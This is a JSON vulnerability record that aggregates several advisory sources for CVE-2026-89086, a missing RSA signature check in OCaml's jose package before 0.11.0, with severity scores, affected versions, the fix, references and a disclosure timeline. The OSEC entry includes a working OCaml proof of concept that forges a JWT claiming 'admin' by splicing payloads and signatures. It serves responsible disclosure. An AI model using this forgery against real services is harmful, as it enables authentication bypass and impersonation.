{"id":"CVE-2026-89086","aliases":["EUVD-2026-75708","GHSA-9r5j-37q2-cffw","OSEC-2026-19"],"status":"published","title":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only...","description":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00276,"percentile":0.20187,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-347"],"published":"2026-09-10T10:00:00Z","modified":"2026-11-06T13:45:05Z","fixes":[{"ecosystem":"opam","package":"jose","fixed_in":["0.11.0"],"sources":["osv"]}],"affected":[{"source":"osv","ecosystem":"opam","package":"jose","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.11.0"}]}],"versions":["0.2.0","0.3.0","0.3.1","0.4.0","0.5.0","0.5.1","0.6.0","0.7.0","0.8.1","0.8.2","0.9.0","0.10.0"]}],"products":[{"vendor":"appsup-dart","product":"jose"},{"vendor":"ocaml","product":"jose"}],"references":[{"url":"https://github.com/ulrikstrid/ocaml-jose/commit/cf17d991ec6a0d1997956b6c7799890f9c28879e","tags":["fix"]},{"url":"https://osv.dev/vulnerability/OSEC-2026-19","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89086","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9r5j-37q2-cffw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/89xxx/CVE-2026-89086.json","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-89086","description":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.","status":"published","published":"2026-09-10T19:52:47.039Z","modified":"2026-09-10T21:00:25.03Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:19:55.526923Z"}],"euvd":[{"id":"EUVD-2026-75708","description":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.","status":"published","published":"2026-09-10T19:52:47Z","modified":"2026-09-10T21:00:25Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T17:28:23.364345Z"}],"ghsa":[{"id":"GHSA-9r5j-37q2-cffw","title":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only...","description":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.","status":"published","published":"2026-09-10T21:31:36Z","modified":"2026-09-10T21:31:41Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:11:43.240477Z"}],"nvd":[{"id":"CVE-2026-89086","description":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.","status":"published","published":"2026-09-10T20:17:32.113Z","modified":"2026-09-22T20:00:03.713Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:12:46.271848Z"}],"osv":[{"id":"CVE-2026-89086","description":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.","status":"published","published":"2026-09-10T19:52:47.039Z","modified":"2026-10-28T02:30:39.003137424Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:45:19.210277Z"},{"id":"OSEC-2026-19","title":"JOSE: missing RSA signature verification","description":"The opam package \"jose\" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.\n\n## Reproduction\n\nWith jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet key =\n  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())\n\nlet sign sub =\n  Jose.Jwt.sign key ~payload:(`Assoc [ (\"sub\", `String sub) ])\n  |\u003e Result.get_ok |\u003e Jose.Jwt.to_string\n\nlet seg n token = List.nth (String.split_on_char '.' token) n\n\nlet alice = sign \"alice\" and admin = sign \"admin\"\n\n(* alice's header and signature, admin's payload *)\nlet forged = String.concat \".\" [ seg 0 alice; seg 1 admin; seg 2 alice ]\n\nmatch\n  Jose.Jwt.unsafe_of_string forged\n  |\u003e Result.get_ok\n  |\u003e Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())\nwith\n  | Ok t -\u003e\n    print_endline\n      (\"accepted, sub = \" ^ Option.get (Jose.Jwt.get_string_claim t \"sub\"))\n  | Error _ -\u003e print_endline \"rejected\"\n```\n\nThe dune file:\n```\n(executable (name repro)\n(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))\n```\n\nThis prints \"accepted, sub = admin\".\n\n## Workaround\n\nThere is no workaround known.\n\n## Timeline\n\n- 2026-08-25: private report via email to the authors of jose\n- 2026-08-25: fix published to repository\n- 2026-08-31: mail escalated to security@ocaml.org\n- 2026-09-04: released jose 0.11.0\n- 2026-09-10: published advisory","status":"published","published":"2026-09-10T10:00:00Z","modified":"2026-11-06T13:45:05.033615226Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-06T14:15:35.577787Z"}]}}